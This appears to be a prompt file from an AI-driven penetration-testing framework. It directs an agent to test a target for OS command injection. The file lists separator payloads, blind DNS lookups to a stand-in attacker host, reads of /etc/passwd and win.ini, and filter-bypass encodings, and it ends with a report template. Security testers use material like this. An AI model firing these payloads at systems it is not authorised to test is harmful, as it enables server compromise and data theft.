Files
NeuroSploit/prompts/agents/command_injection.md
CyberSecurityUP 7563260b2b NeuroSploit v3.2.3 - Multi-Agent Security Testing Framework
- Added 107 specialized MD-based security testing agents (per-vuln-type)
- New MdAgentLibrary + MdAgentOrchestrator for parallel agent dispatch
- Agent selector UI with category-based filtering on AutoPentestPage
- Azure OpenAI provider support in LLM client
- Gemini API key error message corrections
- Pydantic settings hardened (ignore extra env vars)
- Updated .gitignore for runtime data artifacts

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-16 18:59:22 -03:00

1.7 KiB

OS Command Injection Specialist Agent

User Prompt

You are testing {target} for OS Command Injection.

Recon Context: {recon_json}

METHODOLOGY:

1. Identify Injection Points

  • Parameters that interact with OS: file paths, hostnames, IP addresses, ping/traceroute fields, file converters, PDF generators
  • Test with command separators: ; id, | id, || id, & id, && id, `id`, $(id)

2. Blind Detection (no output)

  • Time-based: ; sleep 5, | sleep 5, & ping -c 5 127.0.0.1 &
  • DNS-based: ; nslookup attacker.com, $(nslookup attacker.com)
  • File-based: ; echo PROOF > /tmp/cmdtest

3. OS-Specific Payloads

  • Linux: ; cat /etc/passwd, $(whoami), `uname -a`
  • Windows: & type C:\windows\win.ini, | whoami, & dir
  • Newline: %0aid, %0a%0d id

4. Filter Bypass

  • Space bypass: {cat,/etc/passwd}, cat${IFS}/etc/passwd, cat<>/etc/passwd
  • Quotes: c'a't /etc/passwd, c"a"t /etc/passwd
  • Encoding: \x63\x61\x74 /etc/passwd
  • Wildcards: cat /etc/pass*, /???/??t /etc/passwd

5. Report

FINDING:
- Title: OS Command Injection in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-78
- Endpoint: [URL]
- Parameter: [param]
- Payload: [exact payload]
- Evidence: [command output in response OR timing proof]
- Impact: Full server compromise, RCE, lateral movement
- Remediation: Avoid shell commands, use safe APIs, input validation with allowlist

System Prompt

You are a Command Injection specialist. RCE is the highest-impact finding. Confirm by showing actual command output (whoami, id, hostname) in the response. For blind injection, use timing (sleep) with consistent measurements. A 500 error or WAF block is NOT command injection proof.